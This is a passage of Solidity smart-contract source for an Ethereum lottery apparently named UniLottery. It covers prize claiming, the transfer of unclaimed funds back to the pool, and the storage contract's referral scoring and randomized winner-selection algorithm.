if( cfg.endingAlgoType == uint8(EndingAlgoType.RolledRandomness) )
{
// Here, we'll use Prize Sequence Factor approach differently.
// We'll use the prizeSequenceFactor value not to compute
// a geometric progression, but to compute an arithmetic
// progression, where each ranking position will get a
// prize equal to
// "totalPrizeAmount - rankingPosition * singleWinnerShare"
//
// singleWinnerShare is computed as a value corresponding
// to single-winner's share of total prize amount.
//
// Using such an approach, winner at rank 0 would get a
// prize equal to whole totalPrizeAmount, but, as the
// scores are rolled using random factor, it's very unlikely
// to get a such high score, so most likely such prize
// won't ever be claimed, but it is a possibility.
//
// Most of the winners in this approach are likely to
// roll scores in the middle, so would get prizes equal to
// 1-10% of total prize funds.
uint singleWinnerShare = totalPrizeAmount /
cfg.prizeSequence_winnerCount;
return totalPrizeAmount - rankingPosition * singleWinnerShare;
}
// Now, we know that ending algorithm is normal (deterministic).
// So, compute the prizes in a standard way.
// If using Computed Sequence: loop for "rankingPosition"
// iterations, while computing the prize shares.
// If "rankingPosition" is larger than sequencedWinnerCount,
// then compute the prize from sequence-leftover amount.
if( cfg.prizeSequenceFactor != 0 )
{
require( rankingPosition < cfg.prizeSequence_winnerCount/*,
"Invalid ranking position!" */);
// Leftover: If prizeSequenceFactor is 25%, it's 75%.
uint leftoverPercentage =
(_100PERCENT) - cfg.prizeSequenceFactor;
// Loop until the needed iteration.
uint loopCount = (
rankingPosition >= cfg.prizeSequence_sequencedWinnerCount ?
cfg.prizeSequence_sequencedWinnerCount :
rankingPosition
);
for( uint i = 0; i < loopCount; i++ )
{
totalPrizeAmount =
( totalPrizeAmount * leftoverPercentage ) /
( _100PERCENT );
}
// Get end prize amount - sequenced, or leftover.
// Leftover-mode.
if( loopCount == cfg.prizeSequence_sequencedWinnerCount &&
cfg.prizeSequence_winnerCount >
cfg.prizeSequence_sequencedWinnerCount )
{
// Now, totalPrizeAmount equals all leftover-group winner
// prize funds.
// So, just divide it by number of leftover winners.
finalPrizeAmount =
( totalPrizeAmount ) /
( cfg.prizeSequence_winnerCount -
cfg.prizeSequence_sequencedWinnerCount );
}
// Sequenced-mode
else
{
finalPrizeAmount =
( totalPrizeAmount * cfg.prizeSequenceFactor ) /
( _100PERCENT );
}
}
// Else, if we're using Pre-Specified Array of winner profit
// shares, just get the share at the corresponding index.
else
{
require( rankingPosition < cfg.winnerProfitShares.length );
finalPrizeAmount =
( totalPrizeAmount *
cfg.winnerProfitShares[ rankingPosition ] ) /
( _100PERCENT );
}
}
/**
* After lottery has completed, this function returns if msg.sender
* is one of lottery winners, and the position in winner rankings.
*
* Function must be used to obtain the ranking position before
* calling claimWinnerPrize().
*
* @param addr - address whose status to check.
*/
function getWinnerStatus( address addr )
external view
returns( bool isWinner, uint32 rankingPosition,
uint prizeAmount )
{
if( !onStage( STAGE.COMPLETION ) || balanceOf( addr ) == 0 )
return (false , 0, 0);
( isWinner, rankingPosition ) =
lotStorage.getWinnerStatus( addr );
if( isWinner )
{
prizeAmount = getWinnerPrizeAmount( rankingPosition );
if( prizeAmount > address(this).balance )
prizeAmount = address(this).balance;
}
}
/**
* Compute the intermediate Active Stage player score.
* This score is Player Score, not randomized.
* @param addr - address to check.
*/
function getPlayerIntermediateScore( address addr )
external view
returns( uint )
{
return lotStorage.getPlayerActiveStageScore( addr );
}
/** PAYABLE [ OUT ] >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
*
* Claim the winner prize of msg.sender, if he is one of the winners.
*
* This function must be provided a ranking position of msg.sender,
* which must be obtained using the function above.
*
* The Lottery Storage then just checks if holder address in the
* winner array element at position rankingPosition is the same
* as msg.sender's.
*
* If so, then claim request is valid, and we can give the appropriate
* prize to that winner.
* Prize can be determined by a computed factor-based sequence, or
* from the pre-specified winner array.
*
* * This function transfers Ether out of our contract:
* - Sends the corresponding winner prize to the msg.sender.
*
* @param rankingPosition - the position of Winner Array, that
* msg.sender says he is in (obtained using getWinnerStatus).
*/
function claimWinnerPrize(
uint32 rankingPosition )
external
onlyOnStage( STAGE.COMPLETION )
mutexLOCKED
{
// Check if msg.sender hasn't already claimed his prize.
require( ! prizeClaimersAddresses[ msg.sender ]/*,
"msg.sender has already claimed his prize!" */);
// msg.sender must have at least some of UniLottery Tokens.
require( balanceOf( msg.sender ) != 0/*,
"msg.sender's token balance can't be zero!" */);
// Check if there are any prize funds left yet.
require( address(this).balance != 0/*,
"All prize funds have already been claimed!" */);
// If using Mined Selection Algo, check if msg.sender is
// really on that ranking position - algo was already executed.
if( cfg.endingAlgoType == uint8(EndingAlgoType.MinedWinnerSelection) )
{
require( lotStorage.minedSelection_isAddressOnWinnerPosition(
msg.sender, rankingPosition )/*,
"msg.sender is not on specified winner position!" */);
}
// For other algorithms, get ranking position by executing
// a specific algorithm of that algo-type.
else
{
bool isWinner;
( isWinner, rankingPosition ) =
lotStorage.getWinnerStatus( msg.sender );
require( isWinner/*, "msg.sender is not a winner!" */);
}
// Compute the prize amount, using our internal function.
uint finalPrizeAmount = getWinnerPrizeAmount( rankingPosition );
// If prize is small and computation precision errors occured,
// leading it to be larger than our balance, fix it.
if( finalPrizeAmount > address(this).balance )
finalPrizeAmount = address(this).balance;
// Transfer the Winning Prize to msg.sender!
msg.sender.transfer( finalPrizeAmount );
// Mark msg.sender as already claimed his prize.
prizeClaimersAddresses[ msg.sender ] = true;
}
/** PAYABLE [ OUT ] >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
*
* Transfer the leftover Winner Prize Funds of this contract to the
* Main UniLottery Pool, if prize claim deadline has been exceeded.
*
* Function can only be called from the Main Pool, and if some
* winners haven't managed to claim their prizes on time, their
* prizes will go back to UniLottery Pool.
*
* * Function transfers Ether out of our contract:
* - Transfer the leftover funds to the Pool (msg.sender).
*/
function getUnclaimedPrizes()
external
poolOnly
onlyOnStage( STAGE.COMPLETION )
mutexLOCKED
{
// Check if prize claim deadline has passed.
require( completionDate != 0 &&
( block.timestamp - completionDate ) > cfg.prizeClaimTime/*,
"Prize claim deadline not reached yet!" */);
// Just transfer it all to the Pool.
poolAddress.transfer( address(this).balance );
}
}
/**
* The Lottery Storage contract.
*
* This contract is used to store all Holder Data of a specific lottery
* contract - that includes lottery token holders list, and every
* holder's intermediate scores (HolderData structure).
*
* When the lottery, that this storage belongs to, ends, then
* this Storage contract also performs the whole winner selection
* algorithm.
*
* Also, one of this contract's purposes is to split code,
* to avoid the 24kb code size limit error.
*
* Notice, that Lottery and LotteryStorage contracts must have a
* 1:1 relationship - every Lottery has only one Storage, and
* every Storage belongs to only one Lottery.
*
* The LotteryStorage contracts are being created from the
* LotteryStorageFactory contract, and only after that, the parent
* Lottery is created, so Lottery must initialize it's Storage,
* by calling initialize() function on freshly-created Storage,
* which set's the Lottery address, and locks it.
*/
contract LotteryStorage is CoreUniLotterySettings
{
// ==================== Structs & Constants ==================== //
// Struct of holder data & scores.
struct HolderData
{
// --------- Slot --------- //
// If this holder provided a valid referral ID, this is the
// address of a referrer - the user who generated the said
// referral ID.
address referrer;
// Bonus score points, which can be given in certain events,
// such as when player registers a valid referral ID.
int16 bonusScore;
// Number of all child referrees, including multi-level ones.
// Updated by traversing child->parent way, incrementing
// every node's counter by one.
// Used in Winner Selection Algorithm, to determine how much
// to divide the accumulated referree scores by.
uint16 referreeCount;
// --------- Slot --------- //
// If this holder has generated his own referral ID, this is
// that ID. If he hasn't generated an ID, this is zero.
uint256 referralID;
// --------- Slot --------- //
// The intermediate individual score factor variables.
// Ether contributed: ( buys - sells ). Can be negative.
int40 etherContributed;
// Time x ether factor: (relativeTxTime * etherAmount).
int40 timeFactors;
// Token balance score factor of this holder - we use int,
// for easier computation of player scores in our algorithms.
int40 tokenBalance;
// Accumulated referree score factors - ether contributed by
// all referrees, time factors, and token balances of all
// referrees.
int40 referree_etherContributed;
int40 referree_timeFactors;
int40 referree_tokenBalance;
}
// Final Score (end lottery score * randomValue) structure.
struct FinalScore
{
address addr; // 20 bytes \
uint16 holderIndex; // 2 bytes | = 30 bytes => 1 slot.
uint64 score; // 8 bytes /
}
// Winner Indexes structure - used to efficiently store Winner
// indexes in holder's array, after completing the Winner Selection
// Algorithm.
// To save Space, we store these in a struct, with uint16 array
// with 16 items - so this struct takes up excactly 1 slot.
struct WinnerIndexStruct
{
uint16[ 16 ] indexes;
}
// A structure which is used by Winner Selection algorithm,
// which is a subset of the LotteryConfig structure, containing
// only items necessary for executing the Winner Selection algorigm.
// More detailed member description can be found in LotteryConfig
// structure description.
// Takes up only one slot!
struct WinnerAlgorithmConfig
{
// --------- Slot --------- //
// Individual player max score parts.
int16 maxPlayerScore_etherContributed;
int16 maxPlayerScore_tokenHoldingAmount;
int16 maxPlayerScore_timeFactor;
int16 maxPlayerScore_refferalBonus;
// Number of lottery winners.
uint16 winnerCount;
// Score-To-Random ration data (as a rational ratio number).
// For example if 1:5, then scorePart = 1, and randPart = 5.
uint16 randRatio_scorePart;
uint16 randRatio_randPart;
// The Ending Algorithm type.
uint8 endingAlgoType;
}
// Structure containing the minimum and maximum values of
// holder intermediate scores.
// These values get updated on transfers during ACTIVE stage,
// when holders buy/sell tokens.
//
// Used in winner selection algorithm, to normalize the scores in
// a single loop, to avoid looping additional time to find min/max.
//
// Structure takes up only a single slot!
//
struct MinMaxHolderScores
{
// --------- Slot --------- //
int40 holderScore_etherContributed_min;
int40 holderScore_etherContributed_max;
int40 holderScore_timeFactors_min;
int40 holderScore_timeFactors_max;
int40 holderScore_tokenBalance_min;
int40 holderScore_tokenBalance_max;
}
// Referral score variant of the structure above.
// Also, only a single slot!
//
struct MinMaxReferralScores
{
// --------- Slot --------- //
// Min&Max values for referrer scores.
int40 referralScore_etherContributed_min;
int40 referralScore_etherContributed_max;
int40 referralScore_timeFactors_min;
int40 referralScore_timeFactors_max;
int40 referralScore_tokenBalance_min;
int40 referralScore_tokenBalance_max;
}
// ROOT_REFERRER constant.
// Used to prevent cyclic dependencies on referral tree.
address constant ROOT_REFERRER = address( 1 );
// Max referral tree depth - maximum number of referrees that
// a referrer can get.
uint constant MAX_REFERRAL_DEPTH = 10;
// Precision of division operations.
int constant PRECISION = 10000;
// Random number modulo to use when obtaining random numbers from
// the random seed + nonce, using keccak256.
// This is the maximum available Score Random Factor, plus one.
// By default, 10^9 (one billion).
//
uint constant RANDOM_MODULO = (10 ** 9);
// Maximum number of holders that the MinedWinnerSelection algorithm
// can process. Related to block gas limit.
uint constant MINEDSELECTION_MAX_NUMBER_OF_HOLDERS = 300;
// Maximum number of holders that the WinnerSelfValidation algorithm
// can process. Related to block gas limit.
uint constant SELFVALIDATION_MAX_NUMBER_OF_HOLDERS = 1200;
// ==================== State Variables ==================== //
// --------- Slot --------- //
// The Lottery address that this storage belongs to.
// Is set by the "initialize()", called by corresponding Lottery.
address lottery;
// The Random Seed, that was passed to us from Randomness Provider,
// or generated alternatively.
uint64 randomSeed;
// The actual number of winners that there will be. Set after
// completing the Winner Selection Algorithm.
uint16 numberOfWinners;
// Bool indicating if Winner Selection Algorithm has been executed.
bool algorithmCompleted;
// --------- Slot --------- //
// Winner Algorithm config. Specified in Initialization().
WinnerAlgorithmConfig algConfig;
// --------- Slot --------- //
// The Min-Max holder score storage.
MinMaxHolderScores public minMaxScores;
MinMaxReferralScores public minMaxReferralScores;
// --------- Slot --------- //
// Array of holders.
address[] public holders;
// --------- Slot --------- //
// Holder array indexes mapping, for O(1) array element access.
mapping( address => uint ) holderIndexes;
// --------- Slot --------- //
// Mapping of holder data.
mapping( address => HolderData ) public holderData;
// --------- Slot --------- //
// Mapping of referral IDs to addresses of holders who generated
// those IDs.
mapping( uint256 => address ) referrers;
// --------- Slot --------- //
// The array of final-sorted winners (set after Winner Selection
// Algorithm completes), that contains the winners' indexes
// in the "holders" array, to save space.
//
// Notice that by using uint16, we can fit 16 items into one slot!
// So, if there are 160 winners, we only take up 10 slots, so
// only 20,000 * 10 = 200,000 gas gets consumed!
//
WinnerIndexStruct[] sortedWinnerIndexes;
// ============== Internal (Private) Functions ============== //
// Lottery-Only modifier.
modifier lotteryOnly
{
require( msg.sender == address( lottery )/*,
"Function can only be called by Lottery that this"
"Storage Contract belongs to!" */);
_;
}
// ============== [ BEGIN ] LOTTERY QUICKSORT FUNCTIONS ============== //
/**
* QuickSort and QuickSelect algorithm functionality code.
*
* These algorithms are used to find the lottery winners in
* an array of final random-factored scores.
* As the highest-scorers win, we need to sort an array to
* identify them.
*
* For this task, we use QuickSelect to partition array into
* winner part (elements with score larger than X, where X is
* n-th largest element, where n is number of winners),
* and others (non-winners), who are ignored to save computation
* power.
* Then we sort the winner part only, using QuickSort, and
* distribute prizes to winners accordingly.
*/
// Swap function used in QuickSort algorithms.
//
function QSort_swap( FinalScore[] memory list,
uint a, uint b )
internal pure
{
FinalScore memory tmp = list[ a ];
list[ a ] = list[ b ];
list[ b ] = tmp;
}
// Standard Hoare's partition scheme function, used for both
// QuickSort and QuickSelect.
//
function QSort_partition(
FinalScore[] memory list,
int lo, int hi )
internal pure
returns( int newPivotIndex )
{
uint64 pivot = list[ uint( hi + lo ) / 2 ].score;
int i = lo - 1;
int j = hi + 1;
while( true )
{
do {
i++;
} while( list[ uint( i ) ].score > pivot ) ;
do {
j--;
} while( list[ uint( j ) ].score < pivot ) ;
if( i >= j )
return j;
QSort_swap( list, uint( i ), uint( j ) );
}
}
// QuickSelect's Lomuto partition scheme.
//
function QSort_LomutoPartition(
FinalScore[] memory list,
uint left, uint right, uint pivotIndex )
internal pure
returns( uint newPivotIndex )
{
uint pivotValue = list[ pivotIndex ].score;
QSort_swap( list, pivotIndex, right ); // Move pivot to end
uint storeIndex = left;
for( uint i = left; i < right; i++ )
{
if( list[ i ].score > pivotValue ) {
QSort_swap( list, storeIndex, i );
storeIndex++;
}
}
// Move pivot to its final place, and return the pivot's index.
QSort_swap( list, right, storeIndex );
return storeIndex;
}
// QuickSelect algorithm (iterative).
//
function QSort_QuickSelect(
FinalScore[] memory list,
int left, int right, int k )
internal pure
returns( int indexOfK )
{
while( true ) {
if( left == right )
return left;
int pivotIndex = int( QSort_LomutoPartition( list,
uint(left), uint(right), uint(right) ) );
if( k == pivotIndex )
return k;
else if( k < pivotIndex )
right = pivotIndex - 1;
else
left = pivotIndex + 1;
}
}
// Standard QuickSort function.
//
function QSort_QuickSort(
FinalScore[] memory list,
int lo, int hi )
internal pure
{
if( lo < hi ) {
int p = QSort_partition( list, lo, hi );
QSort_QuickSort( list, lo, p );
QSort_QuickSort( list, p + 1, hi );
}
}
// ============== [ END ] LOTTERY QUICKSORT FUNCTIONS ============== //
// ------------ Ending Stage - Winner Selection Algorithm ------------ //
/**
* Compute the individual player score factors for a holder.
* Function split from the below one (ending_Stage_2), to avoid
* "Stack too Deep" errors.
*/
function computeHolderIndividualScores(
WinnerAlgorithmConfig memory cfg,
MinMaxHolderScores memory minMax,
HolderData memory hdata )
internal pure
returns( int individualScore )
{
// Normalize the scores, by subtracting minimum and dividing
// by maximum, to get the score values specified in cfg.
// Use precision of 100, then round.
//
// Notice that we're using int arithmetics, so division
// truncates. That's why we use PRECISION, to simulate
// rounding.
//
// This formula is better explained in example.
// In this example, we use variable abbreviations defined
// below, on formula's right side comments.
//
// Say, values are these in our example:
// e = 4, eMin = 1, eMax = 8, MS = 5, P = 10.
//
// So, let's calculate the score using the formula:
// ( ( ( (4 - 1) * 10 * 5 ) / (8 - 1) ) + (10 / 2) ) / 10 =
// ( ( ( 3 * 10 * 5 ) / 7 ) + 5 ) / 10 =
// ( ( 150 / 7 ) + 5 ) / 10 =
// ( ( 150 / 7 ) + 5 ) / 10 =
// ( 20 + 5 ) / 10 =
// 25 / 10 =
// [ 2.5 ] = 2
//
// So, with truncation, we see that for e = 4, the score
// is 2 out of 5 maximum.
// That's because the minimum ether contributed was 1, and
// maximum was 8.
// So, 4 stays below the middle, and gets a nicely rounded
// score of 2.
// Compute etherContributed.
int score_etherContributed = ( (
( int( hdata.etherContributed - // e
minMax.holderScore_etherContributed_min ) // eMin
* PRECISION * cfg.maxPlayerScore_etherContributed )// P * MS
/ int( minMax.holderScore_etherContributed_max - // eMax
minMax.holderScore_etherContributed_min ) // eMin
) + (PRECISION / 2) ) / PRECISION;
// Compute timeFactors.
int score_timeFactors = ( (
( int( hdata.timeFactors - // e
minMax.holderScore_timeFactors_min ) // eMin
* PRECISION * cfg.maxPlayerScore_timeFactor ) // P * MS
/ int( minMax.holderScore_timeFactors_max - // eMax
minMax.holderScore_timeFactors_min ) // eMin
) + (PRECISION / 2) ) / PRECISION;
// Compute tokenBalance.
int score_tokenBalance = ( (
( int( hdata.tokenBalance - // e
minMax.holderScore_tokenBalance_min ) // eMin
* PRECISION * cfg.maxPlayerScore_tokenHoldingAmount )
/ int( minMax.holderScore_tokenBalance_max - // eMax
minMax.holderScore_tokenBalance_min ) // eMin
) + (PRECISION / 2) ) / PRECISION;
// Return the accumulated individual score (excluding referrees).
return score_etherContributed + score_timeFactors +
score_tokenBalance;
}
/**
* Compute the unified Referree-Score of a player, who's got
* the accumulated factor-scores of all his referrees in his
* holderData structure.
*
* @param individualToReferralRatio - an int value, computed
* before starting the winner score computation loop, in
* the ending_Stage_2 initial part, to save computation
* time later.
* This is the ratio of the maximum available referral score,
* to the maximum available individual score, as defined in
* the config (for example, if max.ref.score is 20, and
* max.ind.score is 40, then the ratio is 20/40 = 0.5).
*
* We use this ratio to transform the computed accumulated
* referree individual scores to the standard referrer's
* score, by multiplying by that ratio.
*/
function computeReferreeScoresForHolder(
int individualToReferralRatio,
WinnerAlgorithmConfig memory cfg,
MinMaxReferralScores memory minMax,
HolderData memory hdata )
internal pure
returns( int unifiedReferreeScore )
{
// If number of referrees of this HODLer is Zero, then
// his referree score is also zero.
if( hdata.referreeCount == 0 )
return 0;
// Now, compute the Referree's Accumulated Scores.
//
// Here we use the same formula as when computing individual
// scores (in the function above), but we use referree parts
// instead.
// Compute etherContributed.
int referreeScore_etherContributed = ( (
( int( hdata.referree_etherContributed -
minMax.referralScore_etherContributed_min )
* PRECISION * cfg.maxPlayerScore_etherContributed )
/ int( minMax.referralScore_etherContributed_max -
minMax.referralScore_etherContributed_min )
) );
// Compute timeFactors.
int referreeScore_timeFactors = ( (
( int( hdata.referree_timeFactors -
minMax.referralScore_timeFactors_min )
* PRECISION * cfg.maxPlayerScore_timeFactor )
/ int( minMax.referralScore_timeFactors_max -
minMax.referralScore_timeFactors_min )
) );
// Compute tokenBalance.
int referreeScore_tokenBalance = ( (
( int( hdata.referree_tokenBalance -
minMax.referralScore_tokenBalance_min )
* PRECISION * cfg.maxPlayerScore_tokenHoldingAmount )
/ int( minMax.referralScore_tokenBalance_max -
minMax.referralScore_tokenBalance_min )
) );
// Accumulate 'em all !
// Then, multiply it by the ratio of all individual max scores
// (maxPlayerScore_etherContributed, timeFactor, tokenBalance),
// to the maxPlayerScore_refferalBonus.
// Use the same precision.
unifiedReferreeScore = int( ( (
( ( referreeScore_etherContributed +
referreeScore_timeFactors +
referreeScore_tokenBalance ) + (PRECISION / 2)
) / PRECISION
) * individualToReferralRatio
) / PRECISION );
}
/**
* Update Min & Max values for individual holder scores.
*/
function priv_updateMinMaxScores_individual(
MinMaxHolderScores memory minMax,
int40 _etherContributed,
int40 _timeFactors,
int40 _tokenBalance )
internal
pure
{
// etherContributed:
if( _etherContributed >
minMax.holderScore_etherContributed_max )
minMax.holderScore_etherContributed_max =
_etherContributed;
if( _etherContributed <
minMax.holderScore_etherContributed_min )
minMax.holderScore_etherContributed_min =
_etherContributed;
// timeFactors:
if( _timeFactors >
minMax.holderScore_timeFactors_max )
minMax.holderScore_timeFactors_max =
_timeFactors;
if( _timeFactors <
minMax.holderScore_timeFactors_min )
minMax.holderScore_timeFactors_min =
_timeFactors;
// tokenBalance:
if( _tokenBalance >
minMax.holderScore_tokenBalance_max )
minMax.holderScore_tokenBalance_max =
_tokenBalance;
if( _tokenBalance <
minMax.holderScore_tokenBalance_min )
minMax.holderScore_tokenBalance_min =
_tokenBalance;
}
/**
* Update Min & Max values for referral scores.
*/
function priv_updateMinMaxScores_referral(
MinMaxReferralScores memory minMax,
int40 _etherContributed,
int40 _timeFactors,
int40 _tokenBalance )
internal
pure
{
// etherContributed:
if( _etherContributed >
minMax.referralScore_etherContributed_max )
minMax.referralScore_etherContributed_max =
_etherContributed;
if( _etherContributed <
minMax.referralScore_etherContributed_min )
minMax.referralScore_etherContributed_min =
_etherContributed;
// timeFactors:
if( _timeFactors >
minMax.referralScore_timeFactors_max )
minMax.referralScore_timeFactors_max =
_timeFactors;
if( _timeFactors <
minMax.referralScore_timeFactors_min )
minMax.referralScore_timeFactors_min =
_timeFactors;
// tokenBalance:
if( _tokenBalance >
minMax.referralScore_tokenBalance_max )
minMax.referralScore_tokenBalance_max =
_tokenBalance;
if( _tokenBalance <
minMax.referralScore_tokenBalance_min )
minMax.referralScore_tokenBalance_min =
_tokenBalance;
}
// =================== PUBLIC FUNCTIONS =================== //
/**
* Update current holder's score with given change values, and
* Propagate the holder's current transfer's score changes
* through the referral chain, updating every parent referrer's
* accumulated referree scores, until the ROOT_REFERRER or zero
* address referrer is encountered.
*/
function updateAndPropagateScoreChanges(
address holder,
int __etherContributed_change,
int __timeFactors_change,
int __tokenBalance_change )
public
lotteryOnly
{
// Convert the data into shrinked format - leave only
// 4 decimals of Ether precision, and drop the decimal part
// of ULT tokens absolutely.
// Don't change TimeFactors, as it is already adjusted in
// Lottery contract's code.
int40 timeFactors_change = int40( __timeFactors_change );
int40 etherContributed_change = int40(
__etherContributed_change / int(1 ether / 10000) );
int40 tokenBalance_change = int40(
__tokenBalance_change / int(1 ether) );
// Update current holder's score.
holderData[ holder ].etherContributed += etherContributed_change;
holderData[ holder ].timeFactors += timeFactors_change;
holderData[ holder ].tokenBalance += tokenBalance_change;
// Check if scores are exceeding current min/max scores,
// and if so, update the min/max scores.
MinMaxHolderScores memory minMaxCpy = minMaxScores;
MinMaxReferralScores memory minMaxRefCpy = minMaxReferralScores;
priv_updateMinMaxScores_individual(
minMaxCpy,
holderData[ holder ].etherContributed,
holderData[ holder ].timeFactors,
holderData[ holder ].tokenBalance
);
// Propagate the score through the referral chain.
// Dive at maximum to the depth of 10, to avoid "Outta Gas"
// errors.
uint depth = 0;
address referrerAddr = holderData[ holder ].referrer;
while( referrerAddr != ROOT_REFERRER &&
referrerAddr != address( 0 ) &&
depth < MAX_REFERRAL_DEPTH )
{
// Update this referrer's accumulated referree scores.
holderData[ referrerAddr ].referree_etherContributed +=
etherContributed_change;
holderData[ referrerAddr ].referree_timeFactors +=
timeFactors_change;
holderData[ referrerAddr ].referree_tokenBalance +=
tokenBalance_change;
// Update MinMax according to this referrer's score.
priv_updateMinMaxScores_referral(
minMaxRefCpy,
holderData[ referrerAddr ].referree_etherContributed,
holderData[ referrerAddr ].referree_timeFactors,
holderData[ referrerAddr ].referree_tokenBalance
);
// Move to the higher-level referrer.
referrerAddr = holderData[ referrerAddr ].referrer;
depth++;
}
// Check if MinMax have changed. If so, update it.
if( keccak256( abi.encode( minMaxCpy ) ) !=
keccak256( abi.encode( minMaxScores ) ) )
minMaxScores = minMaxCpy;
// Check referral part.
if( keccak256( abi.encode( minMaxRefCpy ) ) !=
keccak256( abi.encode( minMaxReferralScores ) ) )
minMaxReferralScores = minMaxRefCpy;
}
/**
* Pure function to fix an in-memory copy of MinMaxScores,
* by changing equal min-max pairs to differ by one.
* This is needed to avoid division-by-zero in some calculations.
*/
function priv_fixMinMaxIfEqual(
MinMaxHolderScores memory minMaxCpy,
MinMaxReferralScores memory minMaxRefCpy )
internal
pure
{
// Individual part
if( minMaxCpy.holderScore_etherContributed_min ==
minMaxCpy.holderScore_etherContributed_max )
minMaxCpy.holderScore_etherContributed_max =
minMaxCpy.holderScore_etherContributed_min + 1;
if( minMaxCpy.holderScore_timeFactors_min ==
minMaxCpy.holderScore_timeFactors_max )
minMaxCpy.holderScore_timeFactors_max =
minMaxCpy.holderScore_timeFactors_min + 1;
if( minMaxCpy.holderScore_tokenBalance_min ==
minMaxCpy.holderScore_tokenBalance_max )
minMaxCpy.holderScore_tokenBalance_max =
minMaxCpy.holderScore_tokenBalance_min + 1;
// Referral part
if( minMaxRefCpy.referralScore_etherContributed_min ==
minMaxRefCpy.referralScore_etherContributed_max )
minMaxRefCpy.referralScore_etherContributed_max =
minMaxRefCpy.referralScore_etherContributed_min + 1;
if( minMaxRefCpy.referralScore_timeFactors_min ==
minMaxRefCpy.referralScore_timeFactors_max )
minMaxRefCpy.referralScore_timeFactors_max =
minMaxRefCpy.referralScore_timeFactors_min + 1;
if( minMaxRefCpy.referralScore_tokenBalance_min ==
minMaxRefCpy.referralScore_tokenBalance_max )
minMaxRefCpy.referralScore_tokenBalance_max =
minMaxRefCpy.referralScore_tokenBalance_min + 1;
}
/**
* Function executes the Lottery Winner Selection Algorithm,
* and writes the final, sorted array, containing winner rankings.
*
* This function is called from the Lottery's Mining Stage Step 2,
*
* This is the final function that lottery performs actively -
* and arguably the most important - because it determines
* lottery winners through Winner Selection Algorithm.
*
* The random seed must be already set, before calling this function.
*/
function executeWinnerSelectionAlgorithm()
public
lotteryOnly
{
// Copy the Winner Algo Config into memory, to avoid using
// 400-gas costing SLOAD every time we need to load something.
WinnerAlgorithmConfig memory cfg = algConfig;
// Can only be performed if algorithm is MinedWinnerSelection!
require( cfg.endingAlgoType ==
uint8(Lottery.EndingAlgoType.MinedWinnerSelection)/*,
"Algorithm cannot be performed on current Algo-Type!" */);
// Now, we gotta find the winners using a Randomized Score-Based
// Winner Selection Algorithm.
//
// During transfers, all player intermediate scores
// (etherContributed, timeFactors, and tokenBalances) were
// already set in every holder's HolderData structure,
// during operations of updateHolderData_preTransfer() function.
//
// Minimum and maximum values are also known, so normalization
// will be easy.
// All referral tree score data were also properly propagated
// during operations of updateAndPropagateScoreChanges() function.
//
// All we block.timestamp have to do, is loop through holder array, and
// compute randomized final scores for every holder, into
// the Final Score array.
// Declare the Final Score array - computed for all holders.
uint ARRLEN =
( holders.length > MINEDSELECTION_MAX_NUMBER_OF_HOLDERS ?
MINEDSELECTION_MAX_NUMBER_OF_HOLDERS : holders.length );
FinalScore[] memory finalScores = new FinalScore[] ( ARRLEN );
// Compute the precision-adjusted constant ratio of
// referralBonus max score to the player individual max scores.
int individualToReferralRatio =
( PRECISION * cfg.maxPlayerScore_refferalBonus ) /
( int( cfg.maxPlayerScore_etherContributed ) +
int( cfg.maxPlayerScore_timeFactor ) +
int( cfg.maxPlayerScore_tokenHoldingAmount ) );
// Max available player score.
int maxAvailablePlayerScore = int(
cfg.maxPlayerScore_etherContributed +
cfg.maxPlayerScore_timeFactor +
cfg.maxPlayerScore_tokenHoldingAmount +
cfg.maxPlayerScore_refferalBonus );
// Random Factor of scores, to maintain random-to-determined
// ratio equal to specific value (1:5 for example -
// "randPart" == 5/*, "scorePart" */== 1).
//
// maxAvailablePlayerScore * FACT --- scorePart
// RANDOM_MODULO --- randPart
//
// RANDOM_MODULO * scorePart
// maxAvailablePlayerScore * FACT = -------------------------
// randPart
//
// RANDOM_MODULO * scorePart
// FACT = --------------------------------------
// randPart * maxAvailablePlayerScore
int SCORE_RAND_FACT =
( PRECISION * int(RANDOM_MODULO * cfg.randRatio_scorePart) ) /
( int(cfg.randRatio_randPart) * maxAvailablePlayerScore );
// Fix Min-Max scores, to avoid division by zero, if min == max.
// If min == max, make the difference equal to 1.
MinMaxHolderScores memory minMaxCpy = minMaxScores;
MinMaxReferralScores memory minMaxRefCpy = minMaxReferralScores;
priv_fixMinMaxIfEqual( minMaxCpy, minMaxRefCpy );
// Loop through all the holders.
for( uint i = 0; i < ARRLEN; i++ )
{
// Fetch the needed holder data to in-memory hdata variable,
// to save gas on score part computing functions.
HolderData memory hdata;
// Slot 1:
hdata.etherContributed =
holderData[ holders[ i ] ].etherContributed;
hdata.timeFactors =
holderData[ holders[ i ] ].timeFactors;
hdata.tokenBalance =
holderData[ holders[ i ] ].tokenBalance;
hdata.referreeCount =
holderData[ holders[ i ] ].referreeCount;
// Slot 2:
hdata.referree_etherContributed =
holderData[ holders[ i ] ].referree_etherContributed;
hdata.referree_timeFactors =
holderData[ holders[ i ] ].referree_timeFactors;
hdata.referree_tokenBalance =
holderData[ holders[ i ] ].referree_tokenBalance;
hdata.bonusScore =
holderData[ holders[ i ] ].bonusScore;
// Now, add bonus score, and compute total player's score:
// Bonus part, individual score part, and referree score part.
int totalPlayerScore =
hdata.bonusScore
+
computeHolderIndividualScores(
cfg, minMaxCpy, hdata )
+
computeReferreeScoresForHolder(
individualToReferralRatio, cfg,
minMaxRefCpy, hdata );
// Check if total player score <= 0. If so, make it equal
// to 1, because otherwise randomization won't be possible.
if( totalPlayerScore <= 0 )
totalPlayerScore = 1;
// Now, check if it's not more than max! If so, lowerify.
// This could have happen'd because of bonus.
if( totalPlayerScore > maxAvailablePlayerScore )
totalPlayerScore = maxAvailablePlayerScore;
// Multiply the score by the Random Modulo Adjustment
// Factor, to get fairer ratio of random-to-determined data.
totalPlayerScore = ( totalPlayerScore * SCORE_RAND_FACT ) /
( PRECISION );
// Score is computed!
// Now, randomize it, and add to Final Scores Array.
// We use keccak to generate a random number from random seed,
// using holder's address as a nonce.
uint modulizedRandomNumber = uint(
keccak256( abi.encodePacked( randomSeed, holders[ i ] ) )
) % RANDOM_MODULO;
// Add the random number, to introduce the random factor.
// Ratio of (current) totalPlayerScore to modulizedRandomNumber
// is the same as ratio of randRatio_scorePart to
// randRatio_randPart.
uint endScore = uint( totalPlayerScore ) + modulizedRandomNumber;
// Finally, set this holder's final score data.
finalScores[ i ].addr = holders[ i ];
finalScores[ i ].holderIndex = uint16( i );
finalScores[ i ].score = uint64( endScore );
}
